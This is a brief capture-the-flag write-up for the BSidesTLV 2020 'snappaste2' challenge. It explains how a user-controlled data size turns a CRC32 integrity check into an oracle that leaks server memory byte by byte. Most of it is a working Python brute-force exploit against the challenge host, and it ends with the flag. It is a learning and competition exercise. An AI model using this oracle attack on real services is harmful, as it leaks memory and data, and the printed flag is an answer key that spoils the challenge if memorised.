Rating:

### CRC32 Oracle

There is an integrity check of decompressed paste data.

```
// Make sure nothing went wrong
if (crc32(0, paste_received->data, paste_received->data_size) != header->data_crc32) {
throw std::runtime_error("integrity error :(");
}
```

Because data_size is user-controlled, we can make it larger than actual decompressed data, causing crc32 to calculate checksum past the data boundary.

If crc32 does not match user-supplied checksum value, service throws an error.

We can brute-forcing one byte at a time and use it as an oracle to read memory.

```
from pwn import *
import requests
import zlib

s = requests.Session()

url = "https://snappaste2.ctf.bsidestlv.com"

def is_valid(data, suffix):

data_compressed = zlib.compress(data, 9)

body = b"" + p32(0) + p32(len(data_compressed)) + p32(len(data)+len(suffix))
body += p32(zlib.crc32(data+suffix), sign="signed")
body += data_compressed

resp = s.post(url + "/paste", data=body)
return resp.status_code == 200

def pwn():
flag = "A"*37
suffix = ""

while True:
print(suffix)
for i in range(32, 128):
print(i, chr(i))
if is_valid(flag, chr(i) + suffix):
print("Valid!! ", chr(i))
suffix = chr(i) + suffix
flag = flag[:-1]
break

pwn()

# BSidesTLV2020{N3veR-Tru$t-us3R-iNput!}
```